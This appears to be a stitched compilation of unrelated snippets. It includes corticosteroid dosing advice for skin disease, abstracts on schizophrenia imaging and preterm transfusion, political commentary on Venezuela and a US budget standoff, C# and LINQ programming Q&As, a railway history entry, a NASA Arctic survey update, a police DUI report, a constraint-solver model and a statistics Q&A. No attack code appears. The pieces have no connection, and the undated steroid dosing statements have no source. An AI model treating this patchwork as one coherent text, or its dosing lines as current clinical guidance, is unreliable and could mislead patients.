Steroid-responsive acute dermatoses should be treated with a single morning dose of prednisone for approximately 2 weeks. It is necessary to "taper" a short course of oral prednisone given by this method. Chronic dermatoses should be treated whenever possible with prednisone used in the morning and on alternate days. This method is effective, is free of most side effects, and suppresses the HPA axis minimally. There are few real advantages in using intramuscular corticosteroids. TAC is an unusually strong suppressor of the HPA axis. For chronic dermatoses, a less suppressive preparation might best be chosen if the physician feels that the intramuscular route is the most reasonable one. In any event TAC should never be used more often than every two months. Finally, the time-course of HPA recovery following short courses of steroids is presently unknown. Nonetheless, some astute critics of steroid metabolism have felt obliged to advise us that individuals who have received from 1 to 4 weeks of suppressive steroid treatment should be suspect as to the integrity of their HPA axis in stressful situations for up to one year. The withdrawal from, as well as the use of, systemic corticosteroids requires a creative and critical physician. |
Abstract
Background No study has examined dopamine D 2/3 receptor (D 2/3 R) availability in antipsychotic-free older patients with schizophrenia.
Methods We included patients with schizophrenia 50 years or older who were antipsychotic-free for at least 3 months. We compared non-displaceable binding potential (BP ND ) of [11C]-raclopride in the caudate, putamen, ventral striatum, and globus pallidus between patients and age- and sex-matched healthy controls.
Results Ten patients participated (antipsychotic-naive = 4). No differences in BP ND were found between patients and controls in any ROIs (F(1, 72) = .42, p = .52). |
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Yes, the Democrats oppose sanctions, but they still agree that the US needs to oust Nicolás Maduro. The Republicans go even further and put the military option on the table. So the only position that we can have is to oppose the US effort to topple this government, to oppose this threat of war, and to demand an immediate end of sanctions. It's not our place to be pontificating about holding 'free and fair elections' if the objective conditions render them impossible. |
Q:
Recursive call overload method
I am tryting to display the number of tmp files recursively using the below code. But when I call the DirSearch() for recursive purpose; I get an error No overload method can take 1 argument.
namespace TestForm
{
public partial class TEST : Form
{
public TEST()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
TEST search = new TEST();
search.DirSearch();
int result = search.DirSearch();
label1.Text = result.ToString();
}
public int DirSearch()
{
int count = 0;
var sDir = Directory.GetFiles(@"C:\", "*.tmp", SearchOption.AllDirectories);
try
{
foreach (string d in sDir)
{
foreach (string f in Directory.GetFiles(d, "*.tmp"))
{
string extension = Path.GetExtension(f);
if (extension != null && (extension.Equals(".tmp")))
{
count++;
return count;
}
}
DirSearch(d);
}
}
catch (UnauthorizedAccessException)
{
}
}
}
}
A:
I think you are slightly misunderstanding the recursive algorithm you are trying to implement.
For a recursive method to work, it needs to operate on an input and then call itself again (recursively) on derived inputs.
Your DirSearch() method does not take any input, as such it will compute the same thing over and over again. You need to pass in the root path to the method at which the recursion algorithm will start, so the signature should change to:
public int DirSearch(string rootPath)
Then change:
var sDir = Directory.GetFiles(rootPath, "*.tmp", SearchOption.AllDirectories);
Now in the body of the DirSearch method you have to enumerate all directories in the provided path and then call the DirSeach method with the full path to these directories:
DirSearch(d)
A:
You should be bit cautious when writing recursive code.
In your program/example
Your method signature has to match for DirSearch.
In return count; statement, code returns just after counting one file. You are not counting all of them.
Please note, recursion comes with additional performance penality (Might not be for all cases, i'm leaving it to you to explore your case).
Below code will help you to do what you need.
public static int DirSearch(string root)
{
int count = Directory.GetFiles(root, "*.tmp", SearchOption.TopDirectoryOnly).Count();
foreach (string dir in Directory.GetDirectories(root))
{
count += Directory.GetFiles(dir, "*.tmp", SearchOption.TopDirectoryOnly).Count();
count += DirSearch(dir);
}
return count;
}
Hope this helps !!
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Q:
c# linq-to-sql EF query to match a particular JSON structure
I've JSON with the following structure:
[
{
"ID": 1,
"Label": "Reg Scheme",
"Colours": [
{
"ID": 1,
"Value": "0x3333cc",
"Result": 1,
"Label": null
},
{
"ID": 2,
"Value": "0x666699",
"Result": 2,
"Label": null
},
{
"ID": 3,
"Value": "0x009966",
"Result": 3,
"Label": null
}
]
},
{
"ID": 2,
"Label": "Spesh Scheme",
"Colours": [
{
"ID": 11,
"Value": "0x59699c",
"Result": 1,
"Label": null
},
{
"ID": 12,
"Value": "0x0070ff",
"Result": 2,
"Label": null
},
{
"ID": 13,
"Value": "0x90865e",
"Result": 3,
"Label": null
}
]
},
and I have an entity dataset whereby I've joined all the relevant information, and am attempting to produce JSON with that structure via a single linq-to-sql EF query to be returned to the webapi method.
My query so far is:
return
DbContext.Schemes
.Join(
DbContext.SchemeColours,
s => s.SchemeID,
sc => sc.SchemeID,
(s, sc) => new
{
s.SchemeID,
s.Label,
sc.Colour,
sc.Result,
sc.ColourID
})
.Select(a =>
new Overlay.ReportColourScheme
{
ID = a.SchemeID,
Label = a.Label,
Colours = new List<Overlay.ReportColour>
{
new Overlay.ReportColour
{
ID = a.ColourID,
Value = a.Colour,
Result = a.Result
}
}
})
.ToArray();
Which is almost there but not quite:
[
{
"ID": 1,
"Label": "Regular Scheme",
"Colours": [
{
"ID": 1,
"Value": "0x3333cc",
"Result": 1,
"Label": null
}
]
},
{
"ID": 1,
"Label": "Regular Scheme",
"Colours": [
{
"ID": 2,
"Value": "0x666699",
"Result": 2,
"Label": null
}
]
},
{
"ID": 1,
"Label": "Regular Scheme",
"Colours": [
{
"ID": 3,
"Value": "0x009966",
"Result": 3,
"Label": null
}
]
},
{
"ID": 2,
"Label": "Protanopia adjusted Scheme",
"Colours": [
{
"ID": 11,
"Value": "0x59699c",
"Result": 1,
"Label": null
}
]
},
{
"ID": 2,
"Label": "Protanopia adjusted Scheme",
"Colours": [
{
"ID": 12,
"Value": "0x0070ff",
"Result": 2,
"Label": null
}
]
},
{
"ID": 2,
"Label": "Protanopia adjusted Scheme",
"Colours": [
{
"ID": 13,
"Value": "0x90865e",
"Result": 3,
"Label": null
}
]
},
As of course it creates a new list for every resultID. The top-level ID is a SchemeID- what I'm looking for is logic along the lines of: "take the first 3 Results with a particular schemeID, add them to a list in Colours, then move on to the next schemeID"
I believe this will produce identical JSON that I started the post with.
Any assistance at all would be greatly appreciated, thank you.
A:
The main issue is that you are using a Join where actually you need a Group Join:
return DbContext.Schemes
.GroupJoin(DbContext.SchemeColours,
s => s.SchemeID,
sc => sc.SchemeID,
(s, colours) => new Overlay.ReportColourScheme
{
ID = s.SchemeID,
Label = s.Label,
Colours = colours
.Select(sc => new Overlay.ReportColour
{
ID = sc.ColourID,
Value = sc.Colour,
Result = sc.Result,
})
.ToList()
})
.ToArray();
But since you are using Entity Framework, it would be much better and eaiser if you define (if you already haven't) and use a navigation property:
class Scheme
{
// ...
public ICollection<SchemeColour> Colours { get; set; }
}
and then simply
return DbContext.Schemes
.Select(s => new Overlay.ReportColourScheme
{
ID = s.SchemeID,
Label = s.Label,
Colours = s.Colours
.Select(sc => new Overlay.ReportColour
{
ID = sc.ColourID,
Value = sc.Colour,
Result = sc.Result,
})
.ToList()
})
.ToArray();
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Helpston railway station
Helpston railway station was a station in Helpston, Cambridgeshire, on the Midland Railway's Syston and Peterborough Railway. It was closed in 1966. The Great Northern Railway main line runs adjacent to the Midland Railway at this point, but the Great Northern never had a station in Helpston. This was due to an agreement whereby the Midland carried materials to the site during construction of the Great Northern, and in return the Great Northern offered no competition for services on this section.
The goods shed survives, as does the Great Northern Railway signal box, which is now used only to monitor a number of level crossings in the vicinity. Helpston level crossing itself carries the Helpston to Glinton road over the four tracks of the ex-GNR line and the two tracks of the ex-MR line. This was previously two separate level crossings, controlled by two separate signal boxes. There was space for two cars between the level crossings. The crossings were merged and converted from gates to full barriers in the 1970s.
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Operation IceBridge, NASA's airborne mission to monitor polar ice, is amid its fourth week of flights for the Arctic 2011 campaign. Researchers and crew successfully completed flights from Thule, Greenland, to monitor sea ice and have now moved to Kangerlussuaq, Greenland to focus on flights monitoring the ice sheet.
Flying a distance of about 19,000 miles [30,000 kilometers] over the Arctic Ocean, scientists onboard the P-3 collected data during eight sea ice flights based from Thule Air Base. One additional sea ice flight remains to be flown from Kangerlussuaq.
Why Fly Sea Ice?
Sea ice flights, flown this year from March 16-28, take priority early in the mission's Arctic campaigns. That's because sea ice typically reaches its annual maximum extent in March, and scientists want to collect data before the ice begins to melt and retreat during northern hemisphere's summer. This year, sea ice reached its maximum extent on March 7, reaching 5.7 million square miles and tying for the lowest extent since the start of satellite measurements in 1979.
The thickness of Arctic sea ice cover is also declining, on average, throughout the satellite record, according to scientists including Joey Comiso of NASA's Goddard Space Flight Center in Greenbelt, Md. Now, after the Ice, Cloud, and land Elevation Satellite (ICESat) stopped collecting data in 2009, IceBridge continues to collect the data scientists need to observe sea ice thickness.
The mission's airborne instrument suite collects lidar and radar data making it possible to monitor both the sea ice freeboard and the snow layer on top of the sea ice. Both measurements are important for quantifying the sea ice thickness and predicting the heat exchange between the Arctic Ocean and the atmosphere.
Then, on March 23, the P-3 flew one of the campaign's most challenging flights - an overpass of the U.S. Navy's ICEX camp, an assemblage of tents and shacks drifting on an ice floe north of Fairbanks.
On the ground with ICEX was a team of researchers from the Army's Cold Regions Research and Engineering Laboratory and the Naval Research Laboratory, who established a line that would be surveyed from on, below and above the ice. Comparing measurements from each vantage point helps scientists improve the accuracy of sea ice thickness measurements.
Sea ice camps are moving targets, drifting along with the wind and ocean currents. The erratic movement makes for a challenging overflight.
"The sea ice moves unpredictably, crazy, like a drunken sailor," said John Sonntag of URS Corporation, and the IceBridge instrument team lead.
Just before the mission, the camp was floating north at about 66 feet per hour, but by the time the aircraft was nearby it had suddenly veered east at about 660 feet per hour. The flyover required precise coordination with ground teams before and during the flight.
The P-3 returned to Thule on March 25 to complete three more science flights before transiting to Kangerlussuaq, the base of operations for the next few weeks.
Land Ho!
The single remaining sea ice flight planned to fly from Kangerlussuaq will overfly a CRYOVEX site. The sites are designed to calibrate the European Space Agency's ice-observing satellite, CryoSat-2. Overflying the site will help scientist link the ICESat, IceBridge and Cryosat-2 datasets.
Meanwhile, IceBridge scientists are working to complete a series of land ice flights. To date, IceBridge has completed four land ice flights over west Greenland. Weather has been favorable in that area, which is typical. Upcoming land ice missions to southeast Greenland will rely on a bit more luck, as low pressure from the Icelandic low commonly produces clouds in the region.
Sand Drift ExplainedStavanger, Norway (SPX) Apr 11, 2011
The sand along the south-western coastal rim of Norway has drifted for more than 9000 calendar years. This was triggered by sea-level changes and human activities, new research has found.
Researchers in countries such as Denmark, the Netherlands and Poland study sand drift, but most of them are focusing on sand dunes along the coastline, not on the plains further inland.
"Sand dunes ... read more
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Officer On Paid Administrative Leave After Being Arrested for DUI Stemming From Accident
An off-duty Henderson police sergeant was arrested January 11th for suspicion of driving under the influence.
Henderson Sgt. Lisa Mattingly was arrested booked into the Henderson Detention Center following a two vehicle traffic accident shortly before 10 p.m. The accident, which occurred near the intersection of Gibson Road and Horizon Ridge Parkway was described as minor.
Officers responding to the scene deemed Mattingly was intoxicated and charged her with DUI First Offense and Following Too Closely, both misdemeanors.
Mattingly, an 11-year veteran of the Henderson Police Department, was paid $158,941.72 in total pay and benefits in 2011. |
predicate all_different_int(array [int] of var int: x);
predicate count(array [int] of var int: x, var int: y, var int: c);
predicate fixed_cumulative(array [int] of var int: s, array [int] of int: d, array [int] of int: r, int: b);
predicate global_cardinality(array [int] of var int: x, array [int] of int: cover, array [int] of var int: counts);
predicate maximum_int(var int: m, array [int] of var int: x);
predicate minimum_int(var int: m, array [int] of var int: x);
predicate sliding_sum(int: low, int: up, int: seq, array [int] of var int: vs);
predicate sort(array [int] of var int: x, array [int] of var int: y);
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var 2..2: B = 2;
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var 1..99: D;
var 1..99: E;
var 8..8: F = 8;
var 14..14: G = 14;
var 1..99: H;
var 1..99: I;
var 1..9801: INT____00001 :: is_defined_var :: var_is_introduced;
var 1..9801: INT____00002 :: is_defined_var :: var_is_introduced;
var 1..9801: INT____00003 :: is_defined_var :: var_is_introduced;
var 1..9801: INT____00004 :: is_defined_var :: var_is_introduced;
var 1..9801: INT____00005 :: is_defined_var :: var_is_introduced;
var 1..9801: INT____00006 :: is_defined_var :: var_is_introduced;
var 1..99: K;
array [1..10] of var 1..99: LD :: output_array([1..10]) = [16, 2, C, D, E, 8, 14, H, I, K];
constraint all_different_int(LD);
constraint int_lin_eq([1, -1], [INT____00001, INT____00002], 192);
constraint int_lin_eq([1, -1], [INT____00005, INT____00006], 192);
constraint int_lin_eq([1, -1, 1, -1], [INT____00001, INT____00002, INT____00003, INT____00004], 0);
constraint int_lin_eq([1, -1, 1, -1], [INT____00003, INT____00004, INT____00005, INT____00006], 0);
constraint int_times(C, C, INT____00001) :: defines_var(INT____00001);
constraint int_times(D, D, INT____00003) :: defines_var(INT____00003);
constraint int_times(E, E, INT____00005) :: defines_var(INT____00005);
constraint int_times(H, H, INT____00002) :: defines_var(INT____00002);
constraint int_times(I, I, INT____00004) :: defines_var(INT____00004);
constraint int_times(K, K, INT____00006) :: defines_var(INT____00006);
solve :: int_search(LD, first_fail, indomain, complete) satisfy;
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Early red cell transfusion favourably alters cerebral oxygen extraction in very preterm newborns.
Elevated cerebral fractional tissue oxygen extraction (cFTOE; ≥0.4) predicts early brain injury in very preterm infants. While blood transfusion increases oxygen-carrying capacity, its ability to improve cerebral oxygen kinetics in the immediate newborn period remains unknown. To investigate the effect of red blood cell (RBC) transfusion in the first 24 h of life on cFTOE in infants ≤29 weeks gestation. cFTOE was calculated from cerebral tissue oxygenation index (TOI) and cutaneous oximetry measured over a 30 min epoch before and after transfusion. Infants were dichotomised according to pre-transfusion cFTOE (low <0.4 vs high ≥0.4). 24 babies were included, 12 in each group. Pre- and post-transfusion Hb were similar between the groups. cFTOE significantly reduced after transfusion in the high but not low-extraction group (p<0.01). Early RBC transfusion favourably alters cerebral oxygen kinetics in infants with elevated cFTOE, showing potential for modification of the risk of hypoxic (brain) injury. |
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In the brief window between the end of the government shutdown six weeks ago, and the news tsunami that drowned it out when the media realized how bad Healthcare.gov was, the conventional wisdom held that the GOP would resist the temptations of brinkmanship in the new year and extend funding for the government without any drama.
Part of the conventional wisdom was rooted in political math -- the shutdown was bad, there's no way they'd do it again, months closer to the midterms. Part of it was regression to the mean bias. Part of it was that Senate Minority Leader Mitch McConnell said so: “There’s no education in the second kick of a mule. The first kick of the mule was in 1995; the second one was the last 16 days. A government shutdown is off the table. We’re not going to do it … We’re not going to do this again in connection with the debt ceiling or with a government shutdown.”
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Then as Affordable Care Act woes mounted, the conventional wisdom hardened. Republicans weren't going to surrender the gift of the Obama administration's blundering rollout of the Affordable Care Act by shutting down the government.
All reasonable inferences. And now, the offices of Rep. Paul Ryan, R-Wis., and Sen. Patty Murray, D-Wash., are baiting reporters with the possibility that the two chairs of the House and Senate Budget Committees will reach an agreement to pay down a few years of sequestration with a mix of other modest spending cuts and non-tax revenues spread out over many years. All that would be left to do then is pass some appropriations before Jan. 15 and we'd be in the clear.
With all that out there, if I had to wager now, I'd put my money on the conventional wisdom.
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But I'd also want to find a safe hedge. And the reason, again, is the Affordable Care Act.
The relationship between the ACA rollout and the looming budget deadlines isn't quite as simple and static as it appeared in October.
Another shutdown would of course un-reverse the political reversal of fortune Republicans have enjoyed thanks to Obamacare, and that creates a huge incentive for Republican leaders to cut conservative hard-liners loose and strike a deal with Democrats on the budget. But a few things are pulling in the opposite direction.
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One is just the natural inclination of parties to overreach when they believe they have the upper hand. Republicans have already wiped tax revenues off the table, and conservatives aren't exactly wild about raising revenue through fees and sales either, if it means using the proceeds to increase spending. They're nevertheless pressing Democrats to agree to Medicaid cuts -- something Democrats have been reluctant to do under any circumstances, but particularly if the tax side of the ledger tallies zero.
If Murray and Ryan manage to reach an agreement, conservatives groups -- Heritage, Club for Growth and others -- will very likely savage it, and if past is prologue, rank-and-file Republicans will follow, and GOP leaders will have to decide once again whether escalating a shutdown fight would be preferable to breaking the Hastert Rule.
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If the deal falls through, Speaker John Boehner has posited that he'll place legislation to renew funding for the government at sequestration levels on the House floor, and finish out the fiscal year without a budget. But it's unclear if that bill could pass. House Republican military hawks are desperate to avoid this round of automatic cuts, because they primarily reduce defense spending. They'd have to be strong-armed into supporting a bill that allows those cuts to happen. Republicans might think battered Democrats would help them assemble a majority, but I believe they're mistaken.
"I'm not going to support a short-term CR [stopgap funding bill] that leads to a $967 [billion] … allocation," said Rep. Steny Hoyer, D-Md., who's the Dems' top vote counter.
The problem actually gets worse if Healthcare.gov continues to enroll tens of thousands of people a day. The next deadline for funding the government lands after benefits kick in, but before open enrollment ends. Conservative hard-liners might thus (finally) accept that they can't use budget deadlines to delay or defund the law, but they'll face a strong temptation to use this one to further discourage enrollment.
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And how eager will conservatives be to play nice on the budget if the Obamacare worm has turned, and the incentive of keeping the rollout disaster on the front page no longer exists. |
Q:
Why does the McNemar's test use chi-square and not the normal distribution?
I just noticed how the non exact McNemar's test uses the chi square asymptotic distribution. But since the exact test (for the two case table) relies on the binomial distribution, how come it is not common to suggest the normal approximation to the binomial distribution?
Thanks.
A:
A close-to-intuitive answer:
Take a closer look at the formula for the McNemar test, given the table
pos | neg
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pos | a | b
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neg | c | d
The McNemar statistic M is calculated as:
$$ M = {(b-c)^2 \over b+c} $$
The definition of a $\chi^2$ distribution with k degrees of freedom is that it consists of the sum of squares of k independent standard normal variables. if the 4 numbers are large enough, b and c, and thus b-c and b+c can be approximated by a normal distribution. Given the formula for M, it's easily seen that with large enough values M will indeed follow approximately a $\chi^2$ distribution with 1 degree of freedom.
EDIT :
As onstop rightfully indicated, the normal approximation is in fact completely equivalent. That's rather trivial given the argument using the approximation of b-c by the normal distribution.
The exact binomial version is also equivalent to the sign test, in the sense that in this version the binomial distribution is used to compare b to $Binom(b+c,0.5)$. Or we can say that under the null hypothesis the distribution of b can be approximated by $N(0.5\times(b+c),0.5^2\times(b+c)$.
Or, equivalently:
$$\frac{b-(\frac{b+c}{2})}{\frac{\sqrt{b+c}}{2}}\sim N(0,1)$$
which simplifies to
$$ \frac{b-c}{\sqrt{b+c}}\sim N(0,1)$$
or, when taken the square on both sides, to $M \sim \chi^2_1$.
Hence, the normal approximation is used. It is the same as the $\chi^2$ approximation.
A:
Won't the two approaches come to the same thing? The relevant chi-square distribution has one degree of freedom so is simply the distribution of the square of a random variable with a standard normal distribution. I'd have to go through the algebra to check, which I haven't got time to do right now, but I'd be surprised if you don't end up with exactly the same answer both ways.
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